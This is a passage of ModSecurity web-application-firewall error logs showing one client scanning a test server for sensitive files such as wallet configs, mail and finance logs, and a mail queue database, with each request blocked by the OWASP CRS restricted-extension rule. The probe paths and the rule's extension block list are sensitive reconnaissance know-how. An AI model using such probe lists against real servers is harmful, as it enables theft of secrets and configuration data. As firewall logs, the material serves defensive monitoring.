&quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/options-ssl-nginx.conf&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgHAAAAAQ&quot;]
[Sun Mar 01 20:26:17.371344 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/options-ssl-nginx.conf&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgHAAAAAQ&quot;]
[Sun Mar 01 20:26:17.371488 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/options-ssl-nginx.conf&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgHAAAAAQ&quot;]
[Sun Mar 01 20:26:17.555435 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/litecoin/litecoin.conf&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgJAAAAAQ&quot;]
[Sun Mar 01 20:26:17.555929 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/litecoin/litecoin.conf&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgJAAAAAQ&quot;]
[Sun Mar 01 20:26:17.556098 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/litecoin/litecoin.conf&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgJAAAAAQ&quot;]
[Sun Mar 01 20:26:17.716414 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localtunnel.log&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgKwAAAAQ&quot;]
[Sun Mar 01 20:26:17.716929 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localtunnel.log&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgKwAAAAQ&quot;]
[Sun Mar 01 20:26:17.717097 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localtunnel.log&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgKwAAAAQ&quot;]
[Sun Mar 01 20:26:17.739153 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/mail.log&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgLAAAAAQ&quot;]
[Sun Mar 01 20:26:17.739616 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/mail.log&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgLAAAAAQ&quot;]
[Sun Mar 01 20:26:17.739779 2026] [:error] [pid 2413494] [client 185.177.72.30:9952] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/mail.log&quot;] [unique_id &quot;aaSS2TbFttlEB3wQCxmgLAAAAAQ&quot;]
[Sun Mar 01 20:26:17.949409 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/finance_audit.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1JgAAAAc&quot;]
[Sun Mar 01 20:26:17.949871 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/finance_audit.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1JgAAAAc&quot;]
[Sun Mar 01 20:26:17.950023 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/finance_audit.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1JgAAAAc&quot;]
[Sun Mar 01 20:26:17.972071 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/mail/delivery.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1JwAAAAc&quot;]
[Sun Mar 01 20:26:17.972590 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/mail/delivery.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1JwAAAAc&quot;]
[Sun Mar 01 20:26:17.972766 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/mail/delivery.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1JwAAAAc&quot;]
[Sun Mar 01 20:26:17.995072 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/mail/error.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1KAAAAAc&quot;]
[Sun Mar 01 20:26:17.995591 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/mail/error.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1KAAAAAc&quot;]
[Sun Mar 01 20:26:17.995767 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/mail/error.log&quot;] [unique_id &quot;aaSS2XR69CYXzb6lY2m1KAAAAAc&quot;]
[Sun Mar 01 20:26:18.178688 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/error.log&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MAAAAAc&quot;]
[Sun Mar 01 20:26:18.179160 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/error.log&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MAAAAAc&quot;]
[Sun Mar 01 20:26:18.179345 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/error.log&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MAAAAAc&quot;]
[Sun Mar 01 20:26:18.201400 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/imap.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MQAAAAc&quot;]
[Sun Mar 01 20:26:18.201864 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/imap.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MQAAAAc&quot;]
[Sun Mar 01 20:26:18.202026 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/imap.conf&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MQAAAAc&quot;]
[Sun Mar 01 20:26:18.224310 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/queue.db&quot;] [unique_id &quot;aaSS2nR69CYXzb6lY2m1MgAAAAc&quot;]
